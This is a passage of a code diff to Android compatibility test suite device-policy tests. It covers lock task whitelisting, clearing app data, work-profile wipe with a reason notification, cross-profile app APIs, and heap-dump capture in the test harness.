+ assertEquals(cumulative, mDevicePolicyManager.getLockTaskFeatures(ADMIN_COMPONENT));
+
+ mDevicePolicyManager.setLockTaskFeatures(ADMIN_COMPONENT, LOCK_TASK_FEATURE_NONE);
+ assertEquals(LOCK_TASK_FEATURE_NONE,
+ mDevicePolicyManager.getLockTaskFeatures(ADMIN_COMPONENT));
+ }
+ }
+
// Start lock task, verify that ActivityManager knows thats what is going on.
@Test
public void testStartLockTask() throws Exception {
@@ -219,6 +258,40 @@
assertFalse(mIsActivityResumed);
}
+ // Verifies that removing the whitelist authorization immediately finishes the corresponding
+ // locked task. The other locked task(s) should remain locked.
+ @Test
+ public void testUpdateWhitelisting_twoTasks() throws Exception {
+ mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME,
+ RECEIVER_ACTIVITY_PACKAGE_NAME});
+
+ // Start first locked task
+ startLockTask(UTILITY_ACTIVITY);
+ waitForResume();
+
+ // Start the other task from the running activity
+ mIsReceiverActivityRunning = false;
+ Intent launchIntent = createReceiverActivityIntent(true /*newTask*/, true /*shouldWait*/);
+ mContext.startActivity(launchIntent);
+ synchronized (mReceiverActivityRunningLock) {
+ mReceiverActivityRunningLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+ assertTrue(mIsReceiverActivityRunning);
+ }
+
+ // Remove whitelist authorization of the second task
+ mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+ synchronized (mReceiverActivityRunningLock) {
+ mReceiverActivityRunningLock.wait(ACTIVITY_DESTROYED_TIMEOUT_MILLIS);
+ assertFalse(mIsReceiverActivityRunning);
+ }
+
+ assertLockTaskModeActive();
+ assertTrue(mIsActivityRunning);
+ assertTrue(mIsActivityResumed);
+
+ stopAndFinish(UTILITY_ACTIVITY);
+ }
+
// This launches an activity that is in the current task.
// This should always be permitted as a part of lock task (since it isn't a new task).
@Test
@@ -227,15 +300,15 @@
startLockTask(UTILITY_ACTIVITY);
waitForResume();
- mReceivingActivityWasCreated = false;
- Intent launchIntent = getIntentReceivingActivityIntent(0);
+ mIsReceiverActivityRunning = false;
+ Intent launchIntent = createReceiverActivityIntent(false /*newTask*/, false /*shouldWait*/);
Intent lockTaskUtility = getLockTaskUtility(UTILITY_ACTIVITY);
lockTaskUtility.putExtra(LockTaskUtilityActivity.START_ACTIVITY, launchIntent);
mContext.startActivity(lockTaskUtility);
- synchronized (mReceivingActivityCreatedLock) {
- mReceivingActivityCreatedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
- assertTrue(mReceivingActivityWasCreated);
+ synchronized (mReceiverActivityRunningLock) {
+ mReceiverActivityRunningLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+ assertTrue(mIsReceiverActivityRunning);
}
stopAndFinish(UTILITY_ACTIVITY);
}
@@ -245,17 +318,16 @@
@Test
public void testStartActivity_outsideTaskWhitelisted() throws Exception {
mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME,
- RECEIVING_ACTIVITY_PACKAGE_NAME });
+ RECEIVER_ACTIVITY_PACKAGE_NAME});
startLockTask(UTILITY_ACTIVITY);
waitForResume();
- mReceivingActivityWasCreated = false;
- Intent launchIntent = getIntentReceivingActivityIntent(0);
- launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mIsReceiverActivityRunning = false;
+ Intent launchIntent = createReceiverActivityIntent(true /*newTask*/, false /*shouldWait*/);
mContext.startActivity(launchIntent);
- synchronized (mReceivingActivityCreatedLock) {
- mReceivingActivityCreatedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
- assertTrue(mReceivingActivityWasCreated);
+ synchronized (mReceiverActivityRunningLock) {
+ mReceiverActivityRunningLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+ assertTrue(mIsReceiverActivityRunning);
}
stopAndFinish(UTILITY_ACTIVITY);
}
@@ -268,11 +340,11 @@
startLockTask(UTILITY_ACTIVITY);
waitForResume();
- Intent launchIntent = getIntentReceivingActivityIntent(Intent.FLAG_ACTIVITY_NEW_TASK);
+ Intent launchIntent = createReceiverActivityIntent(true /*newTask*/, false /*shouldWait*/);
mContext.startActivity(launchIntent);
synchronized (mActivityResumedLock) {
mActivityResumedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
- assertFalse(mReceivingActivityWasCreated);
+ assertFalse(mIsReceiverActivityRunning);
}
stopAndFinish(UTILITY_ACTIVITY);
}
@@ -341,6 +413,27 @@
assertFalse(mIsActivityResumed);
}
+ // Start lock task with ActivityOptions
+ @Test
+ public void testActivityOptions_whitelisted() throws Exception {
+ mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+ startLockTaskWithOptions(UTILITY_ACTIVITY);
+ waitForResume();
+
+ // Verify that activity open and activity manager is in lock task.
+ assertLockTaskModeActive();
+ assertTrue(mIsActivityRunning);
+ assertTrue(mIsActivityResumed);
+
+ stopAndFinish(UTILITY_ACTIVITY);
+ }
+
+ // Starting a non-whitelisted activity with ActivityOptions is not allowed
+ @Test(expected = SecurityException.class)
+ public void testActivityOptions_nonWhitelisted() throws Exception {
+ startLockTaskWithOptions(UTILITY_ACTIVITY);
+ }
+
/**
* Checks that lock task mode is active and fails the test if it isn't.
*/
@@ -412,6 +505,15 @@
}
/**
+ * Starts LockTaskUtilityActivity with {@link ActivityOptions#setLockTaskMode(boolean)}
+ */
+ private void startLockTaskWithOptions(String className) throws InterruptedException {
+ Intent intent = getLockTaskUtility(className);
+ Bundle options = ActivityOptions.makeBasic().setLockTaskMode(true).toBundle();
+ startAndWait(intent, options);
+ }
+
+ /**
* Calls stopLockTask on the LockTaskUtilityActivity
*/
private void stopLockTask(String className) throws InterruptedException {
@@ -435,9 +537,16 @@
* the command.
*/
private void startAndWait(Intent intent) throws InterruptedException {
+ startAndWait(intent, null);
+ }
+
+ /**
+ * Same as {@link #startAndWait(Intent)}, but with additional {@link ActivityOptions}.
+ */
+ private void startAndWait(Intent intent, Bundle options) throws InterruptedException {
mIntentHandled = false;
synchronized (this) {
- mContext.startActivity(intent);
+ mContext.startActivity(intent, options);
// Give 20 secs to finish.
wait(ACTIVITY_RUNNING_TIMEOUT_MILLIS);
assertTrue(mIntentHandled);
@@ -456,12 +565,13 @@
return intent;
}
- private Intent getIntentReceivingActivityIntent(int flags) {
- Intent intent = new Intent();
+ /** Create an intent to launch {@link #RECEIVER_ACTIVITY_NAME}. */
+ private Intent createReceiverActivityIntent(boolean newTask, boolean shouldWait) {
+ final Intent intent = new Intent();
intent.setComponent(
- new ComponentName(RECEIVING_ACTIVITY_PACKAGE_NAME, RECEIVING_ACTIVITY_NAME));
- intent.setAction(ACTION_JUST_CREATE);
- intent.setFlags(flags);
+ new ComponentName(RECEIVER_ACTIVITY_PACKAGE_NAME, RECEIVER_ACTIVITY_NAME));
+ intent.setAction(shouldWait ? ACTION_CREATE_AND_WAIT : ACTION_JUST_CREATE);
+ intent.setFlags(newTask ? Intent.FLAG_ACTIVITY_NEW_TASK : 0);
return intent;
}
}
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml b/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
index da0e16c..84c5de6 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
@@ -35,6 +35,7 @@
<action android:name="com.android.cts.action.NOTIFY_URI_CHANGE"/>
<action android:name="com.android.cts.action.OBSERVE_URI_CHANGE"/>
<action android:name="com.android.cts.action.JUST_CREATE" />
+ <action android:name="com.android.cts.action.CREATE_AND_WAIT" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/ClearApplicationDataTest.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/ClearApplicationDataTest.java
new file mode 100644
index 0000000..0d2a990
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/ClearApplicationDataTest.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright 2017, The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.intent.receiver;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Test class that writes to shared preference and verifies that the shared preference gets cleared
+ * after DPM.clearApplicationUserData was called.
+ */
+@SmallTest
+public class ClearApplicationDataTest {
+ private static final String SHARED_PREFERENCE_NAME = "test-preference";
+ private static final String I_WAS_HERE = "I-Was-Here";
+
+ private Context mContext;
+ private SharedPreferences mSharedPrefs;
+
+ @Before
+ public void setUp() {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mSharedPrefs = mContext.getSharedPreferences(SHARED_PREFERENCE_NAME, Context.MODE_PRIVATE);
+ }
+
+ @Test
+ public void testWriteToSharedPreference() {
+ mSharedPrefs.edit().putBoolean(I_WAS_HERE, true).commit();
+ assertTrue(mSharedPrefs.contains(I_WAS_HERE));
+ }
+
+ @Test
+ public void testSharedPreferenceCleared() {
+ assertFalse(mSharedPrefs.contains(I_WAS_HERE));
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/IntentReceiverActivity.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/IntentReceiverActivity.java
index a645a87..5f04be0 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/IntentReceiverActivity.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/IntentReceiverActivity.java
@@ -57,8 +57,14 @@
private static final String ACTION_JUST_CREATE =
"com.android.cts.action.JUST_CREATE";
- public static final String RECEIVING_ACTIVITY_CREATED_ACTION
- = "com.android.cts.deviceowner.RECEIVING_ACTIVITY_CREATED_ACTION";
+ private static final String ACTION_CREATE_AND_WAIT =
+ "com.android.cts.action.CREATE_AND_WAIT";
+
+ private static final String RECEIVER_ACTIVITY_CREATED_ACTION =
+ "com.android.cts.deviceowner.action.RECEIVER_ACTIVITY_CREATED";
+
+ private static final String RECEIVER_ACTIVITY_DESTROYED_ACTION =
+ "com.android.cts.deviceowner.action.RECEIVER_ACTIVITY_DESTROYED";
public static final String ACTION_NOTIFY_URI_CHANGE
= "com.android.cts.action.NOTIFY_URI_CHANGE";
@@ -131,10 +137,19 @@
getContentResolver().unregisterContentObserver(uriObserver);
handlerThread.quit();
}
- } else if (ACTION_JUST_CREATE.equals(action)) {
- sendBroadcast(new Intent(RECEIVING_ACTIVITY_CREATED_ACTION));
+ } else if (ACTION_JUST_CREATE.equals(action) || ACTION_CREATE_AND_WAIT.equals(action)) {
+ sendBroadcast(new Intent(RECEIVER_ACTIVITY_CREATED_ACTION));
}
- finish();
+
+ if (!ACTION_CREATE_AND_WAIT.equals(action)) {
+ finish();
+ }
+ }
+
+ @Override
+ public void onDestroy() {
+ sendBroadcast(new Intent(RECEIVER_ACTIVITY_DESTROYED_ACTION));
+ super.onDestroy();
}
private class UriObserver extends ContentObserver {
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index 05ebac0..f1bd986 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -145,6 +145,9 @@
</intent-filter>
</activity>
+ <activity android:name=".WebViewActivity"
+ android:process=":testProcess"/>
+
<service
android:name=".CrossProfileNotificationListenerService"
android:label="CrossProfileNotificationListenerService"
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CurrentApiHelper.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CurrentApiHelper.java
index 550f1d3..4e2f58f 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CurrentApiHelper.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CurrentApiHelper.java
@@ -168,6 +168,9 @@
typeName = typeName.substring(0, typeName.length() - 2);
}
+ // Resolve inner classes
+ typeName = typeName.replaceAll("([A-Z].*)\\.", "$1\\$");
+
// Remove type parameters, if any
typeName = typeName.replaceAll("<.*>$", "");
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WebViewActivity.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WebViewActivity.java
new file mode 100644
index 0000000..b5e16f4
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WebViewActivity.java
@@ -0,0 +1,14 @@
+package com.android.cts.managedprofile;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.webkit.WebView;
+
+public class WebViewActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(new WebView(this));
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataTest.java
index 7ef3a0a..26f627e 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataTest.java
@@ -15,16 +15,8 @@
*/
package com.android.cts.managedprofile;
-
-import com.android.cts.managedprofile.BaseManagedProfileTest.BasicAdminReceiver;
-
-import org.junit.Ignore;
-
-/**
- * Test wipeData() for use in managed profile. If called from a managed profile, wipeData() should
- * remove the current managed profile. Also, no erasing of external storage should be allowed.
- */
public class WipeDataTest extends BaseManagedProfileTest {
+ private static final String TEST_WIPE_DATA_REASON = "cts test for WipeDataWithReason";
@Override
protected void setUp() throws Exception {
@@ -35,8 +27,25 @@
assertTrue(mDevicePolicyManager.isProfileOwnerApp(ADMIN_RECEIVER_COMPONENT.getPackageName()));
}
+ /**
+ * Test wipeData() for use in managed profile. If called from a managed profile, wipeData()
+ * should remove the current managed profile. Also, no erasing of external storage should be
+ * allowed.
+ */
public void testWipeData() throws InterruptedException {
mDevicePolicyManager.wipeData(0);
- // the test that the profile will indeed be removed is done in the host.
+ // The test that the profile will indeed be removed is done in the host.
+ }
+
+ /**
+ * Test wipeDataWithReason() for use in managed profile. If called from a managed profile,
+ * wipeDataWithReason() should remove the current managed profile.In the mean time, it should
+ * send out a notification containing the reason for wiping data to user. Also, no erasing of
+ * external storage should be allowed.
+ */
+ public void testWipeDataWithReason() throws InterruptedException {
+ mDevicePolicyManager.wipeDataWithReason(0, TEST_WIPE_DATA_REASON);
+ // The test that the profile will indeed be removed is done in the host.
+ // Notification verification is done in another test.
}
}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataWithReasonVerificationTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataWithReasonVerificationTest.java
new file mode 100644
index 0000000..3b35cb4
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataWithReasonVerificationTest.java
@@ -0,0 +1,37 @@
+package com.android.cts.managedprofile;
+
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.Until;
+import android.test.AndroidTestCase;
+
+/**
+ * Test wipeDataWithReason() has indeed shown the notification.
+ * The function wipeDataWithReason() is called and executed in another test.
+ */
+public class WipeDataWithReasonVerificationTest extends AndroidTestCase {
+
+ private static final String WIPE_DATA_TITLE = "Work profile deleted";
+ // This reason string should be aligned with the one in WipeDataTest as this is a followup test.
+ private static final String TEST_WIPE_DATA_REASON = "cts test for WipeDataWithReason";
+ private static final long UI_TIMEOUT_MILLI = 5000;
+
+ public void testWipeDataWithReasonVerification() throws UiObjectNotFoundException,
+ InterruptedException {
+ // The function wipeDataWithReason() is called and executed in another test.
+ // The data should be wiped and notification should be sent before.
+ UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ uiDevice.openNotification();
+ Boolean wipeDataTitleExist = uiDevice.wait(Until.hasObject(By.text(WIPE_DATA_TITLE)),
+ UI_TIMEOUT_MILLI);
+ Boolean wipeDataReasonExist = uiDevice.wait(Until.hasObject(By.text(TEST_WIPE_DATA_REASON)),
+ UI_TIMEOUT_MILLI);
+
+ // Verify the notification is there.
+ assertEquals("Wipe notification title not found", Boolean.TRUE, wipeDataTitleExist);
+ assertEquals("Wipe notification content not found",
+ Boolean.TRUE, wipeDataReasonExist);
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index a612cee..36deebf 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -27,10 +27,16 @@
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.FileInputStreamSource;
+import com.android.tradefed.result.LogDataType;
import com.android.tradefed.testtype.DeviceTestCase;
import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.TarUtil;
+import java.io.File;
import java.io.FileNotFoundException;
+import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
@@ -229,16 +235,21 @@
return 0;
}
+ private void stopUserAsync(int userId) throws Exception {
+ String stopUserCommand = "am stop-user -f " + userId;
+ CLog.d("starting command \"" + stopUserCommand);
+ CLog.d("Output for command " + stopUserCommand + ": "
+ + getDevice().executeShellCommand(stopUserCommand));
+ }
+
protected void stopUser(int userId) throws Exception {
- // Wait for the broadcast queue to be idle first to workaround the stop-user timeout issue.
- waitForBroadcastIdle();
String stopUserCommand = "am stop-user -w -f " + userId;
CLog.d("starting command \"" + stopUserCommand + "\" and waiting.");
CLog.d("Output for command " + stopUserCommand + ": "
+ getDevice().executeShellCommand(stopUserCommand));
}
- private void waitForBroadcastIdle() throws DeviceNotAvailableException {
+ private void waitForBroadcastIdle() throws DeviceNotAvailableException, IOException {
CollectingOutputReceiver receiver = new CollectingOutputReceiver();
try {
// we allow 8min for the command to complete and 4min for the command to start to
@@ -249,6 +260,24 @@
String output = receiver.getOutput();
CLog.d("Output from 'am wait-for-broadcast-idle': %s", output);
if (!output.contains("All broadcast queues are idle!")) {
+ // Gather the system_server dump data for investigation.
+ File heapDump = getDevice().dumpHeap("system_server", "/data/local/tmp/dump.hprof");
+ if (heapDump != null) {
+ // If file is too too big, tar if with TarUtil.
+ String pid = getDevice().getProcessPid("system_server");
+ // gzip the file it's quite big
+ File heapDumpGz = TarUtil.gzip(heapDump);
+ try (FileInputStreamSource source = new FileInputStreamSource(heapDumpGz)) {
+ addTestLog(
+ String.format("system_server_dump.%s.%s.hprof",
+ pid, getDevice().getDeviceDate()),
+ LogDataType.GZIP, source);
+ } finally {
+ FileUtil.deleteFile(heapDump);
+ }
+ } else {
+ CLog.e("Failed to capture the dumpheap from system_server");
+ }
// the call most likely failed we should fail the test
fail("'am wait-for-broadcase-idle' did not complete.");
// TODO: consider adding a reboot or recovery before failing if necessary
@@ -268,7 +297,16 @@
}
protected void removeTestUsers() throws Exception {
- for (int userId : getUsersCreatedByTests()) {
+ List<Integer> usersCreatedByTests = getUsersCreatedByTests();
+
+ // The time spent on stopUser is depend on how busy the broadcast queue is.
+ // To optimize the time to remove multiple test users, we mark all users as
+ // stopping first, so no more broadcasts will be sent to these users, which make the queue
+ // less busy.
+ for (int userId : usersCreatedByTests) {
+ stopUserAsync(userId);
+ }
+ for (int userId : usersCreatedByTests) {
removeUser(userId);
}
}
@@ -807,4 +845,11 @@
executeShellCommand("input keyevent KEYCODE_WAKEUP");
executeShellCommand("wm dismiss-keyguard");
}
+
+ protected void startActivityAsUser(int userId, String packageName, String activityName)
+ throws Exception {
+ wakeupAndDismissKeyguard();
+ String command = "am start -W --user " + userId + " " + packageName + "/" + activityName;
+ getDevice().executeShellCommand(command);
+ }
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
new file mode 100644
index 0000000..b1cf3ff
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
@@ -0,0 +1,99 @@
+package com.android.cts.devicepolicy;
+
+import java.util.Collections;
+import java.util.Map;
+
+/**
+ * In the test, managed profile and secondary user are created. We then verify
+ * {@link android.content.pm.crossprofile.CrossProfileApps} APIs in different directions, like
+ * primary user to managed profile.
+ */
+public class CrossProfileAppsHostSideTest extends BaseDevicePolicyTest {
+ private static final String TEST_PACKAGE = "com.android.cts.crossprofileappstest";
+ private static final String NON_TARGET_USER_TEST_CLASS = ".CrossProfileAppsNonTargetUserTest";
+ private static final String TARGET_USER_TEST_CLASS = ".CrossProfileAppsTargetUserTest";
+ private static final String PARAM_TARGET_USER = "TARGET_USER";
+ private static final String EXTRA_TEST_APK = "CtsCrossProfileAppsTests.apk";
+
+ private int mProfileId;
+ private int mSecondaryUserId;
+ private boolean mHasManagedUserFeature;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ // We need managed users to be supported in order to create a profile of the user owner.
+ mHasManagedUserFeature = hasDeviceFeature("android.software.managed_users");
+ installAppAsUser(EXTRA_TEST_APK, mPrimaryUserId);
+
+ if (mHasManagedUserFeature) {
+ createAndStartManagedProfile();
+ installAppAsUser(EXTRA_TEST_APK, mProfileId);
+ }
+ if (mSupportsMultiUser) {
+ mSecondaryUserId = createUser();
+ installAppAsUser(EXTRA_TEST_APK, mSecondaryUserId);
+ }
+ }
+
+ public void testPrimaryUserToPrimaryUser() throws Exception {
+ verifyCrossProfileAppsApi(mPrimaryUserId, mPrimaryUserId, NON_TARGET_USER_TEST_CLASS);
+ }
+
+ public void testPrimaryUserToManagedProfile() throws Exception {
+ if (!mHasManagedUserFeature) {
+ return;
+ }
+ verifyCrossProfileAppsApi(mPrimaryUserId, mProfileId, TARGET_USER_TEST_CLASS);
+ }
+
+ public void testManagedProfileToPrimaryUser() throws Exception {
+ if (!mHasManagedUserFeature) {
+ return;
+ }
+ verifyCrossProfileAppsApi(mProfileId, mPrimaryUserId, TARGET_USER_TEST_CLASS);
+ }
+
+ public void testPrimaryUserToSecondaryUser() throws Exception {
+ if (!mSupportsMultiUser) {
+ return;
+ }
+ verifyCrossProfileAppsApi(mPrimaryUserId, mSecondaryUserId, NON_TARGET_USER_TEST_CLASS);
+ }
+
+ public void testSecondaryUserToManagedProfile() throws Exception {
+ if (!mSupportsMultiUser || !mHasManagedUserFeature) {
+ return;
+ }
+ verifyCrossProfileAppsApi(mSecondaryUserId, mProfileId, NON_TARGET_USER_TEST_CLASS);
+
+ }
+
+ public void testManagedProfileToSecondaryUser() throws Exception {
+ if (!mSupportsMultiUser || !mHasManagedUserFeature) {
+ return;
+ }
+ verifyCrossProfileAppsApi(mProfileId, mSecondaryUserId, NON_TARGET_USER_TEST_CLASS);
+ }
+
+ private void verifyCrossProfileAppsApi(int fromUserId, int targetUserId, String testClass)
+ throws Exception {
+ runDeviceTestsAsUser(
+ TEST_PACKAGE,
+ testClass,
+ null,
+ fromUserId,
+ createTargetUserParam(targetUserId));
+ }
+
+ private void createAndStartManagedProfile() throws Exception {
+ mProfileId = createManagedProfile(mPrimaryUserId);
+ switchUser(mPrimaryUserId);
+ startUser(mProfileId);
+ }
+
+ private Map<String, String> createTargetUserParam(int targetUserId) throws Exception {
+ return Collections.singletonMap(PARAM_TARGET_USER,
+ Integer.toString(getUserSerialNumber(targetUserId)));
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 6b7d89b..600f719 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -253,6 +253,15 @@
executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState");
}
+ public void testPermissionGrant_developmentPermission() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ installAppPermissionAppAsUser();
+ executeDeviceTestMethod(
+ ".PermissionsTest", "testPermissionGrantState_developmentPermission");
+ }
+
/**
* Require a device for tests that use the network stack. Headless Androids running in
* data centres might need their network rules un-tampered-with in order to keep the ADB / VNC
@@ -814,6 +823,18 @@
Collections.singletonMap(ARG_ALLOW_FAILURE, Boolean.toString(allowFailures)));
}
+ public void testClearApplicationData() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ installAppAsUser(INTENT_RECEIVER_APK, mUserId);
+ runDeviceTestsAsUser(INTENT_RECEIVER_PKG, INTENT_RECEIVER_PKG + ".ClearApplicationDataTest",
+ "testWriteToSharedPreference", mUserId);
+ executeDeviceTestMethod(".ClearApplicationDataTest", "testClearApplicationData");
+ runDeviceTestsAsUser(INTENT_RECEIVER_PKG, INTENT_RECEIVER_PKG + ".ClearApplicationDataTest",
+ "testSharedPreferenceCleared", mUserId);
+ }
+
protected void executeDeviceTestClass(String className) throws Exception {
runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, mUserId);
}
@@ -904,10 +925,7 @@
*/
protected void startSimpleActivityAsUser(int userId) throws Exception {
installAppAsUser(TEST_APP_APK, userId);
- wakeupAndDismissKeyguard();
- String command = "am start -W --user " + userId + " " + TEST_APP_PKG + "/"
- + TEST_APP_PKG + ".SimpleActivity";
- getDevice().executeShellCommand(command);
+ startActivityAsUser(userId, TEST_APP_PKG, TEST_APP_PKG + ".SimpleActivity");
}
protected void setScreenCaptureDisabled(int userId, boolean disabled) throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 7a07d7c..ba0dcc0 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -46,14 +46,14 @@
private static final String DEVICE_OWNER_COMPONENT = DEVICE_OWNER_PKG + "/"
+ ADMIN_RECEIVER_TEST_CLASS;
- /** The ephemeral users are implemented and supported on the device. */
- private boolean mHasEphemeralUserFeature;
+ /** Forcing ephemeral users is implemented and supported on the device. */
+ private boolean mHasForceEphemeralUserFeature;
/**
- * Ephemeral users are implemented, but unsupported on the device (because of missing split
- * system user).
+ * Force ephemeral users feature is implemented, but unsupported on the device (because of
+ * missing split system user).
*/
- private boolean mHasDisabledEphemeralUserFeature;
+ private boolean mHasDisabledForceEphemeralUserFeature;
@Override
protected void setUp() throws Exception {
@@ -67,9 +67,10 @@
fail("Failed to set device owner");
}
}
- mHasEphemeralUserFeature = mHasFeature && canCreateAdditionalUsers(1) && hasUserSplit();
- mHasDisabledEphemeralUserFeature =
- mHasFeature && canCreateAdditionalUsers(1) && !hasUserSplit();
+ mHasForceEphemeralUserFeature = mHasFeature && canCreateAdditionalUsers(1)
+ && hasUserSplit();
+ mHasDisabledForceEphemeralUserFeature = mHasFeature && canCreateAdditionalUsers(1)
+ && !hasUserSplit();
}
@Override
@@ -125,7 +126,7 @@
/** Tries to toggle the force-ephemeral-users on and checks it was really set. */
public void testSetForceEphemeralUsers() throws Exception {
- if (!mHasEphemeralUserFeature) {
+ if (!mHasForceEphemeralUserFeature) {
return;
}
// Set force-ephemeral-users policy and verify it was set.
@@ -136,7 +137,7 @@
* Setting force-ephemeral-users policy to true without a split system user should fail.
*/
public void testSetForceEphemeralUsersFailsWithoutSplitSystemUser() throws Exception {
- if (mHasDisabledEphemeralUserFeature) {
+ if (mHasDisabledForceEphemeralUserFeature) {
executeDeviceTestMethod(".ForceEphemeralUsersTest", "testSetForceEphemeralUsersFails");
}
}
@@ -148,7 +149,7 @@
* <p>If the current user is the system user, the other users are removed straight away.
*/
public void testRemoveUsersOnSetForceEphemeralUsers() throws Exception {
- if (!mHasEphemeralUserFeature) {
+ if (!mHasForceEphemeralUserFeature) {
return;
}
